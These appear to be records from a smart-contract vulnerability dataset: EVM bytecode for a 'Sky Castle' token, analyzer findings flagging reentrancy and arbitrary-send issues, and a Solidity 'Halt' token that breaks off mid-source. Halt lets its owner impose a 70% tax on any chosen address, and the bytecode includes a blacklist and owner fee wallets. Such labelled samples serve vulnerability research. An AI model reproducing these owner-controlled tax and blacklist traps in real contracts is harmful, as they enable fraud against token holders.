6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f534b590000000000000000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fd565b8484611bfc565b6001905092915050565b6040518060400160405280600381526020017f534b59000000000000000000000000000000000000000000000000000000000081525081565b610f4e6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fd565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d8161269a565b50565b6111186119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a05565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550683635c9adc5dea000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174f57600080fd5b505af1158015611763573d6000803e3d6000fd5b505050506040513d602081101561177957600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600a81526020017f536b7920436173746c650000000000000000000000000000000000000000000081525081565b6117cf6119fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611905576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611934606461192683683635c9adc5dea0000061298490919063ffffffff16565b612a0a90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea66022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f3a6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e596023913960400191505060405180910390fd5b60008111611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f116029913960400191505060405180910390fd5b611d69610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd75750611da7610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239857601360179054906101000a900460ff161561203d573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb35750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0d5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203c57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f536119fd565b73ffffffffffffffffffffffffffffffffffffffff161480611fc95750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb16119fd565b73ffffffffffffffffffffffffffffffffffffffff16145b61203b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212d5760145481111561207f57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121235750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212c57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d85750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122465750601360179054906101000a900460ff165b156122de5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229657600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e930610c18565b9050601360159054906101000a900460ff161580156123565750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236e5750601360169054906101000a900460ff165b156123965761237c8161269a565b60004790506000811115612394576123934761251b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244957600090505b61245584848484612a54565b50505050565b6000838311158290612508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cd5780820151818401526020810190506124b2565b50505050905090810190601f1680156124fa5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256b600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612596573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e7600284612a0a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612612573d6000803e3d6000fd5b5050565b6000600a54821115612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7c602a913960400191505060405180910390fd5b600061267d612cab565b90506126928184612a0a90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126cf57600080fd5b506040519080825280602002602001820160405280156126fe5781602001602082028036833780820191505090505b509050308160008151811061270f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b157600080fd5b505afa1580156127c5573d6000803e3d6000fd5b505050506040513d60208110156127db57600080fd5b8101908080519060200190929190505050816001815181106127f957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061286030601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a05565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612924578082015181840152602081019050612909565b505050509050019650505050505050600060405180830381600087803b15801561294d57600080fd5b505af1158015612961573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129975760009050612a04565b60008284029050828482816129a857fe5b04146129ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec86021913960400191505060405180910390fd5b809150505b92915050565b6000612a4c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd6565b905092915050565b80612a6257612a61612d9c565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1a57612b15848484612ddf565b612c97565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbd5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd257612bcd84848461303f565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c745750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8957612c8484848461329f565b612c95565b612c94848484613594565b5b5b5b80612ca557612ca461375f565b5b50505050565b6000806000612cb8613773565b91509150612ccf8183612a0a90919063ffffffff16565b9250505090565b60008083118290612d82576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d47578082015181840152602081019050612d2c565b50505050905090810190601f168015612d745780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8e57fe5b049050809150509392505050565b6000600c54148015612db057506000600d54145b15612dba57612ddd565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df187613a20565b955095509550955095509550612e4f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc581613b5a565b612fcf8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305187613a20565b9550955095509550955095506130af86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314483600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322581613b5a565b61322f8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b187613a20565b95509550955095509550955061330f87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343983600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351a81613b5a565b6135248483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a687613a20565b95509550955095509550955061360486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e581613b5a565b6136ef8483613cff565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d5578260026000600984815481106137ad57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613894575081600360006009848154811061382c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b257600a54683635c9adc5dea0000094509450505050613a1c565b61393b60026000600984815481106138c657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8890919063ffffffff16565b92506139c6600360006009848154811061395157fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8890919063ffffffff16565b9150808060010191505061378e565b506139f4683635c9adc5dea00000600a54612a0a90919063ffffffff16565b821015613a1357600a54683635c9adc5dea00000935093505050613a1c565b81819350935050505b9091565b6000806000806000806000806000613a3d8a600c54600d54613d39565b9250925092506000613a4d612cab565b90506000806000613a608e878787613dcf565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613aca83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245b565b905092915050565b600080828401905083811015613b50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b64612cab565b90506000613b7b828461298490919063ffffffff16565b9050613bcf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cfa57613cb683600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad290919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1482600a54613a8890919063ffffffff16565b600a81905550613d2f81600b54613ad290919063ffffffff16565b600b819055505050565b600080600080613d656064613d57888a61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613d8f6064613d81888b61298490919063ffffffff16565b612a0a90919063ffffffff16565b90506000613db882613daa858c613a8890919063ffffffff16565b613a8890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de8858961298490919063ffffffff16565b90506000613dff868961298490919063ffffffff16565b90506000613e16878961298490919063ffffffff16565b90506000613e3f82613e318587613a8890919063ffffffff16565b613a8890919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220758bbeeeed4721a86c37566940b72f1e96b17d3779f48dd4d425b1aec362d03464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,616
0x250003bd55cbb23685f35ce9bcc8ab898170f31c
/** *Submitted for verification at Etherscan.io on 2021-05-19 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; contract Halt { mapping (address => uint256) internal _rOwned; mapping (address => uint256) internal _tOwned; mapping (address => mapping (address => uint256)) public allowance; mapping(address => bool) public isTaxedAsSender; mapping(address => bool) public isTaxedAsRecipient; mapping (address => bool) public isExcluded; address[] internal _excluded; string public constant name = "Halt"; string public constant symbol = "HALT"; uint8 public constant decimals = 9; uint256 public constant totalSupply = 1_000_000_000 * (10 ** decimals); uint256 internal _rTotal = (type(uint256).max - (type(uint256).max % totalSupply)); uint256 internal _tFeeTotal; uint256 constant internal _reflectBasisPoints = 7000; // 0.01% = 1 basis point, 4.00% = 400 basis points uint256 internal reflectDisabledBlock; address public owner; address public pendingOwner; /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed account, address indexed spender, uint256 value); event OwnershipTransferred(address indexed oldOwner, address indexed newOwner); constructor () { owner = msg.sender; _rOwned[msg.sender] = _rTotal; emit Transfer(address(0), msg.sender, totalSupply); } modifier isOwner() { require(msg.sender == owner, "NOT_OWNER"); _; } function balanceOf(address account) external view returns (uint256) { return isExcluded[account] ? _tOwned[account] : tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function approve(address spender, uint256 amount) external returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, allowance[sender][msg.sender] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) external returns (bool) { _approve(msg.sender, spender, allowance[msg.sender][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) { _approve(msg.sender, spender, allowance[msg.sender][spender] - subtractedValue); return true; } function totalFees() external view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) external { require(!isExcluded[msg.sender], "IS_EXCLUDED"); (uint256 rAmount,,,,) = _getValues(address(0), address(0), tAmount); _rOwned[msg.sender] -= rAmount; _rTotal -= rAmount; _tFeeTotal += tAmount; } function reflectionFromToken(address sender, address recipient, uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= totalSupply, "AMOUNT_>_SUPPLY"); (uint256 rAmount,uint256 rTransferAmount,,,) = _getValues(sender, recipient, tAmount); return deductTransferFee ? rTransferAmount : rAmount; } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, "AMOUNT_>_TOTAL_REFLECTIONS"); return rAmount / _getRate(); } function setSenderTaxed(address account, bool taxed) external isOwner { // by default, all senders are not taxed isTaxedAsSender[account] = taxed; } function setRecipientTaxed(address account, bool taxed) external isOwner { // by default, all recipients are not taxed isTaxedAsRecipient[account] = taxed; } function excludeAccountFromRewards(address account) external isOwner { require(!isExcluded[account], "IS_EXCLUDED"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } isExcluded[account] = true; _excluded.push(account); } function includeAccountFromRewards(address account) external isOwner { require(isExcluded[account], "IS_INCLUDED"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address account, address spender, uint256 amount) internal { allowance[account][spender] = amount; emit Approval(account, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(amount > 0, "INVALID_AMOUNT"); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(sender, recipient, amount); _rOwned[sender] -= rAmount; _rOwned[recipient] += rTransferAmount; if (isExcluded[sender] && !isExcluded[recipient]) { _tOwned[sender] -= amount; } else if (!isExcluded[sender] && isExcluded[recipient]) { _tOwned[recipient] += tTransferAmount; } else if (isExcluded[sender] && isExcluded[recipient]) { _tOwned[sender] -= amount; _tOwned[recipient] += tTransferAmount; } _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) internal { _rTotal -= rFee; _tFeeTotal += tFee; } function _getValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) { (tTransferAmount, tFee) = _getTValues(sender, recipient, tAmount); (rAmount, rTransferAmount, rFee) = _getRValues(tAmount, tFee, _getRate()); } function _getTValues(address sender, address recipient, uint256 tAmount) internal view returns (uint256 tTransferAmount, uint256 tFee) { tFee = (block.number != reflectDisabledBlock) && (isTaxedAsSender[sender] || isTaxedAsRecipient[recipient]) ? (tAmount * _reflectBasisPoints) / 10_000 : 0; tTransferAmount = tAmount - tFee; } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) internal pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) { rAmount = tAmount * currentRate; rFee = tFee * currentRate; rTransferAmount = rAmount - rFee; } function _getRate() internal view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() internal view returns (uint256 rSupply, uint256 tSupply) { rSupply = _rTotal; tSupply = totalSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, totalSupply); rSupply -= _rOwned[_excluded[i]]; tSupply -= _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / totalSupply)) { (rSupply, tSupply) = (_rTotal, totalSupply); } } function changeOwner(address newOwner) external isOwner { pendingOwner = newOwner; } function acceptOwnership() external { require(msg.sender == pendingOwner, "NOT_PENDING_OWNER"); emit OwnershipTransferred(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } function disableReflectionForCurrentBlock() external isOwner { reflectDisabledBlock = block.number; } function resetReflectDisabledBlock() external isOwner { reflectDisabledBlock = 0; } } interface UniswapRouterV202 { function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint 